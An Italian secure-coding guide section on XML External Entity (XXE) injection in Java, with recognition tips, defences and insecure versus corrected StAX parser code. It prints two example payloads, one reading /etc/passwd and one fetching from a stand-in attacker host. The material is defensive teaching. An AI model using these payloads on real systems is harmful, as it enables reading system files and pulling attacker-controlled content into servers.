7.2.9 XML External Entity (XXE) injection

Come riconoscerla

Se l'applicazione web riceve in input un documento XML che consente l'elaborazione di entità esterne, dichiarate nel DTD, il sistema potrebbe essere esposto a possibili attacchi di tipo XXE. Se viene effettuato il parsing di entità create ad arte, come nell'esempio seguente, potrebbero essere visualizzate dall'attaccante le password di sistema oppure eseguito del codice malevolo.
Esempio:

```
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
<!ENTITY xxe SYSTEM "http://www.attacker.com/text.txt" >]><foo>&xxe;</foo>
```

Come difendersi

- Bisogna evitare di incorporare entità esterne.
- Occorre assicurarsi di disabilitare il parser dal caricamento automatico di entità esterne.
- Formati di dati meno complessi, come JSON, possono rendere più difficile la serializzazione di dati sensibili.
- Devono essere apportati i necessari aggiornamenti a tutti i parser e alle librerie XML in uso da parte dell'applicazione o sul sistema operativo sottostante.
- Se viene utilizzato SOAP, occorre aggiornarlo alla versione 1.2 o successive.
- Implementare la convalida dell'input come evidenziato in altri punti.
- Verificare che la funzionalità di caricamento di file XML o XSL convalidI l'XML in entrata utilizzando uno schema XSD.

Esempio:

Formato non corretto

```
/* Carica il documento XML e ne mostra il contenuto */
String maliciousSample = "xxe.xml";
XMLInputFactory factory = XMLInputFactory.newInstance();

try (FileInputStream fis = new FileInputStream(malicousSample)) {
  // Load XML stream
  XMLStreamReader xmlStreamReader = factory.createXMLStreamReader(fis);  // Non
sicuro; xmlStreamReader risulta vulnerabile
```

Formato corretto

```
/* Carica il documento XML e ne mostra il contenuto */
String maliciousSample = "xxe.xml";
XMLInputFactory factory = XMLInputFactory.newInstance();

// disabilita la risoluzione di entità esterne
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES,
Boolean.FALSE);

// oppure disabilita completamente i DTDs
factory.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE);

try (FileInputStream fis = new FileInputStream(malicousSample)) {
    // Carica il document XML
    XMLStreamReader xmlStreamReader = factory.createXMLStreamReader(fis);
```

7.2.10 Ulteriori indicazioni per lo sviluppo sicuro

La seguente raccolta di Best Practices è riconosciuta ufficialmente da Oracle Java.